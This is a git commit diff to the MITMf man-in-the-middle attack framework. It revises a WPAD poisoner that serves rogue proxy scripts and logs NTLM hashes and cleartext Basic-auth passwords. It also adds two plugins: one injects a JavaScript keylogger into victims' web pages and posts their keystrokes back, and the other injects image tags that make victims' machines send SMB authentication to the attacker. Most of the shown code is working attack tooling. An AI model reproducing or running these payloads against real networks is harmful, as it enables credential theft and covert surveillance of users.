WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it)

the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them.
Modified and re-added the JS-keylogger and SMBauth plugins
This commit is contained in:
byt3bl33d3r 2015-05-04 23:13:21 +02:00
parent aa4e022ab0
commit 5d07551a50
13 changed files with 312 additions and 165 deletions

View file

@ -28,7 +28,6 @@
#Here you can configure MITMf's internal DNS server #Here you can configure MITMf's internal DNS server
# #
resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended)
tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
port = 53 #Port to listen on port = 53 #Port to listen on
ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
@ -119,22 +118,8 @@
#Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName = DontRespondToName =
[[HTTP Server]] #Set your custom PAC script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
#Set this to On if you want to always serve a specific file to the victim.
Serve-Always = Off
#Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
Serve-Exe = Off
#Uncomment and specify a custom file to serve, the file must exist.
Filename = config/responder/Denied.html
#Specify a custom executable file to serve, the file must exist.
ExecFilename = config/responder/FixInternet.exe
#Set your custom PAC script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
[[HTTPS Server]] [[HTTPS Server]]

View file

@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler):
def reloadConfig(self): def reloadConfig(self):
try: try:
self.config = ConfigObj("./config/mitmf.conf") self.config = ConfigObj("./config/mitmf.conf")
except Exception, e: except Exception as e:
mitmf_logger.warning("Error reloading config file: {}".format(e)) mitmf_logger.warning("Error reloading config file: {}".format(e))
pass

View file

@ -1,12 +1,12 @@
import logging import logging
import threading
import sys import sys
import threading
from impacket import smbserver, LOG from impacket import smbserver, LOG
LOG.setLevel(logging.INFO) LOG.setLevel(logging.INFO)
LOG.propagate = False LOG.propagate = False
#logging.getLogger('smbserver').setLevel(logging.INFO) logging.getLogger('smbserver').setLevel(logging.INFO)
#logging.getLogger('impacket').setLevel(logging.INFO) logging.getLogger('impacket').setLevel(logging.INFO)
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log") fileHandler = logging.FileHandler("./logs/mitmf.log")
@ -25,4 +25,47 @@ class SMBserver:
def start(self): def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start) t = threading.Thread(name='SMBserver', target=self.server.start)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
"""
class SMBserver(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file', 'None')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
#smbConfig.add_section(DUMMY_SHARE)
#smbConfig.set(DUMMY_SHARE,'comment','')
#smbConfig.set(DUMMY_SHARE,'read only','no')
#smbConfig.set(DUMMY_SHARE,'share type','0')
#smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.smb.processConfigFile()
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
"""

View file

@ -1,16 +1,23 @@
import socket import socket
import threading import threading
import logging import logging
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.responder.common import *
from HTTPPackets import * from HTTPPackets import *
mitmf_logger = logging.getLogger("mitmf") mitmf_logger = logging.getLogger("mitmf")
class WPADPoisoner(): class WPADPoisoner():
def start(self): def start(self, options):
global args; args = options
args.forceWpadAuth = False
args.basic = False
try: try:
mitmf_logger.debug("[WPADPoisoner] online") mitmf_logger.debug("[WPADPoisoner] online")
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP) server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler):
self.request.settimeout(1) self.request.settimeout(1)
data = self.request.recv(8092) data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0]) buff = WpadCustom(data,self.client_address[0])
if buff and WpadForcedAuth(Force_WPAD_Auth) == False: if buff and args.forceWpadAuth is False:
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
if Verbose:
print Message
mitmf_logger.info(Message)
self.request.send(buff) self.request.send(buff)
else: else:
buffer0 = PacketSequence(data,self.client_address[0]) buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0) self.request.send(buffer0)
except Exception: except Exception as e:
pass#No need to be verbose.. pass
#Parse NTLMv1/v2 hash. #Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client): def ParseHTTPHash(data,client):
@ -92,18 +96,8 @@ def ParseHTTPHash(data,client):
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName)) mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
mitmf_logger.info(CookieStr)
return Cookie.group(0)
else:
NoCookies = "No cookies were sent with this request"
mitmf_logger.info(NoCookies)
return NoCookies
def WpadCustom(data,client): def WpadCustom(data,client):
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
Wpad = re.search('(/wpad.dat|/*\.pac)', data) Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad: if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script) buffer1 = WPADScript(Payload=WPAD_Script)
@ -112,12 +106,6 @@ def WpadCustom(data,client):
else: else:
return False return False
def WpadForcedAuth(Force_WPAD_Auth):
if Force_WPAD_Auth == True:
return True
if Force_WPAD_Auth == False:
return False
# Function used to check if we answer with a Basic or NTLM auth. # Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic): def Basic_Ntlm(Basic):
if Basic == True: if Basic == True:
@ -125,77 +113,14 @@ def Basic_Ntlm(Basic):
else: else:
return IIS_Auth_401_Ans() return IIS_Auth_401_Ans()
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
mitmf_logger.info(Message)
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def ServeEXEOrNot(on_off):
if Exe_On_Off == "ON":
return True
if Exe_On_Off == "OFF":
return False
def ServeEXECAlwaysOrNot(on_off):
if Exec_Mode_On_Off == "ON":
return True
if Exec_Mode_On_Off == "OFF":
return False
def IsExecutable(Filename):
exe = re.findall('.exe',Filename)
if exe:
return True
else:
return False
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
mitmf_logger.info(HostStr)
#print HostStr
if POST:
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
mitmf_logger.info(Host3Str)
#print Host3Str
if len(''.join(POSTDATA)) >2:
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
#print PostData
mitmf_logger.info(PostData)
#Handle HTTP packet sequence. #Handle HTTP packet sequence.
def PacketSequence(data,client): def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
if Ntlm: if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9] packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01": if packetNtlm == "\x01":
GrabURL(data,client)
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge) r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate() r.calculate()
t = IIS_NTLM_Challenge_Ans() t = IIS_NTLM_Challenge_Ans()
@ -205,11 +130,8 @@ def PacketSequence(data,client):
if packetNtlm == "\x03": if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm)) NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client) ParseHTTPHash(NTLM_Auth,client)
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): if args.forceWpadAuth and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client) mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
if Verbose:
print Message
mitmf_logger.info(Message)
buffer1 = WpadCustom(data,client) buffer1 = WpadCustom(data,client)
return buffer1 return buffer1
else: else:
@ -218,16 +140,11 @@ def PacketSequence(data,client):
return str(buffer1) return str(buffer1)
if BasicAuth: if BasicAuth:
GrabCookie(data,client)
GrabURL(data,client)
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): if args.forceWpadAuth and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client) mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
if Verbose:
print Message
mitmf_logger.info(Message)
buffer1 = WpadCustom(data,client) buffer1 = WpadCustom(data,client)
return buffer1 return buffer1
else: else:
@ -236,5 +153,5 @@ def PacketSequence(data,client):
return str(buffer1) return str(buffer1)
else: else:
return str(Basic_Ntlm(Basic)) return str(Basic_Ntlm(args.basic))

View file

@ -17,8 +17,11 @@
# #
import sys import sys
import logging
import inspect import inspect
mitmf_logger = logging.getLogger("mitmf")
class ProxyPlugins: class ProxyPlugins:
''' '''
This class does some magic so that all we need to do in This class does some magic so that all we need to do in

View file

@ -192,21 +192,14 @@ class ClientRequest(Request):
else: else:
mitmf_logger.debug("[ClientRequest] Host not cached.") mitmf_logger.debug("[ClientRequest] Host not cached.")
self.customResolver.port = self.urlMonitor.getResolverPort()
if self.urlMonitor.getResolver() == 'dnschef':
self.customResolver.port = self.urlMonitor.getResolverPort() try:
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef")
try: address = str(self.customResolver.query(host)[0].address)
mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") return defer.succeed(address)
address = str(self.customResolver.query(host)[0].address) except Exception:
return defer.succeed(address) mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
except Exception:
mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted")
return reactor.resolve(host)
elif self.urlMonitor.getResolver() == 'twisted':
mitmf_logger.debug("[ClientRequest] Resolving with Twisted")
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):

View file

@ -71,7 +71,8 @@ class ServerConnection(HTTPClient):
try: try:
user_agent = parse(self.headers['user-agent']) user_agent = parse(self.headers['user-agent'])
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
except: except Exception as e:
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
self.clientInfo = "{} ".format(self.client.getClientIP()) self.clientInfo = "{} ".format(self.client.getClientIP())
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
@ -135,7 +136,7 @@ class ServerConnection(HTTPClient):
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -181,7 +182,7 @@ class ServerConnection(HTTPClient):
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
res = self.plugins.hook() res = self.plugins.hook()
data = res['data'] data = res['data']
if (self.contentLength != None): if (self.contentLength != None):

View file

@ -53,10 +53,6 @@ class URLMonitor:
return URLMonitor._instance return URLMonitor._instance
#This is here because I'm lazy
def getResolver(self):
return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower()
#This is here because I'm lazy #This is here because I'm lazy
def getResolverPort(self): def getResolverPort(self):
return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port'])

View file

@ -23,7 +23,6 @@ import sys
import os import os
import logging import logging
import threading import threading
import user_agents
from twisted.web import http from twisted.web import http
from twisted.internet import reactor from twisted.internet import reactor
@ -69,7 +68,7 @@ plugins = []
try: try:
for p in plugin_classes: for p in plugin_classes:
plugins.append(p()) plugins.append(p())
except Exception, e: except Exception as e:
print "[-] Failed to load plugin class {}: {}".format(p, e) print "[-] Failed to load plugin class {}: {}".format(p, e)
#Give subgroup to each plugin with options #Give subgroup to each plugin with options
@ -148,7 +147,7 @@ strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory) reactor.listenTCP(args.listen, strippingFactory)
for p in load: for p in load:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch() p.startConfigWatch()
@ -165,12 +164,15 @@ from core.netcreds.NetCreds import NetCreds
NetCreds().start(args.interface, myip) NetCreds().start(args.interface, myip)
print "|_ Net-Creds v{} online".format(netcreds_version) print "|_ Net-Creds v{} online".format(netcreds_version)
#Start all servers! #Start DNSChef
from core.dnschef.DNSchef import DNSChef from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start() DNSChef.getInstance().start()
print "|_ DNSChef v{} online\n".format(dnschef_version) print "|_ DNSChef v{} online".format(dnschef_version)
#start the SMB server
from core.protocols.smb.SMBserver import SMBserver from core.protocols.smb.SMBserver import SMBserver
from impacket import version
print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR)
SMBserver().start() SMBserver().start()
#start the reactor #start the reactor

View file

@ -87,14 +87,13 @@ class Inject(CacheKill, Plugin):
self.dtable[ip+hn] = True self.dtable[ip+hn] = True
self.count += 1 self.count += 1
mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn)) mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
return {'request': request, 'data': data}
else: return {'request': request, 'data': data}
return
def _get_payload(self): def _get_payload(self):
return self._get_js() + self._get_iframe() + self.html_payload return self._get_js() + self._get_iframe() + self.html_payload
def add_options(self,options): def add_options(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
@ -136,7 +135,6 @@ class Inject(CacheKill, Plugin):
if self.per_domain: if self.per_domain:
return not ip+hn in self.dtable return not ip+hn in self.dtable
#print mime
return mime.find(self.mime) != -1 return mime.find(self.mime) != -1
def _get_req_info(self, request): def _get_req_info(self, request):

167
plugins/JsKeylogger.py Normal file
View file

@ -0,0 +1,167 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging
class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
depends = ["Inject"]
version = "0.2"
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.msf_keylogger()
def sendPostData(self, request):
#Handle the plugin output
if 'keylog' in request.uri:
raw_keys = request.postData.split("&&")[0]
keys = raw_keys.split(",")
del keys[0]; del(keys[len(keys)-1])
input_field = request.postData.split("&&")[1]
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice.replace(nice[-1:], "")
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n))
#try:
# input_field = input_field.decode('hex')
#except:
# mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field))
mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice))
def msf_keylogger(self):
#Stolen from the Metasploit module http_javascript_keylogger
payload = """<script type="text/javascript">
window.onload = function mainfunc(){
var2 = ",";
name = '';
function make_xhr(){
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
xhr = make_xhr();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
}
if (window.addEventListener) {
document.addEventListener('keypress', function2, true);
document.addEventListener('keydown', function1, true);
} else if (window.attachEvent) {
document.attachEvent('onkeypress', function2);
document.attachEvent('onkeydown', function1);
} else {
document.onkeypress = function2;
document.onkeydown = function1;
}
}
function function2(e)
{
srcname = window.event.srcElement.name;
var3 = (window.event) ? window.event.keyCode : e.which;
var3 = var3.toString(16);
if (var3 != "d")
{
andxhr(var3, srcname);
}
}
function function1(e)
{
srcname = window.event.srcElement.name;
id = window.event.srcElement.id;
var3 = (window.event) ? window.event.keyCode : e.which;
if (var3 == 9 || var3 == 8 || var3 == 13)
{
andxhr(var3, srcname);
}
else if (var3 == 0)
{
text = document.getElementById(id).value;
if (text.length != 0)
{
andxhr(text.toString(16), srcname);
}
}
}
function andxhr(key, inputName)
{
if (inputName != name)
{
name = inputName;
var2 = ",";
}
var2= var2 + key + ",";
xhr.open("POST", "keylog", true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send(var2 + '&&' + inputName);
if (key == 13 || var2.length > 3000)
{
var2 = ",";
}
}
</script>"""
return payload

View file

@ -18,13 +18,12 @@
# USA # USA
# #
import sys
import os
import threading import threading
from plugins.plugin import Plugin from plugins.plugin import Plugin
from twisted.internet import reactor from twisted.internet import reactor
from core.utils import SystemConfig from core.utils import SystemConfig
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.responder.wpad.WPADPoisoner import WPADPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
@ -57,9 +56,9 @@ class Responder(Plugin):
KERBServer().start() KERBServer().start()
NBTNSPoisoner().start(options, self.ourip) NBTNSPoisoner().start(options, self.ourip)
LLMNRPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip)
if options.wpad: if options.wpad:
WPADPoisoner().start() WPADPoisoner().start(options)
if options.analyze: if options.analyze:
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
@ -69,10 +68,10 @@ class Responder(Plugin):
def add_options(self, options): def add_options(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

42
plugins/SMBAuth.py Normal file
View file

@ -0,0 +1,42 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
class SMBAuth(Inject, Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
depends = ["Inject"]
version = "0.1"
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.target_ip = SystemConfig.getIP(options.interface)
self.html_payload = self._get_data()
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)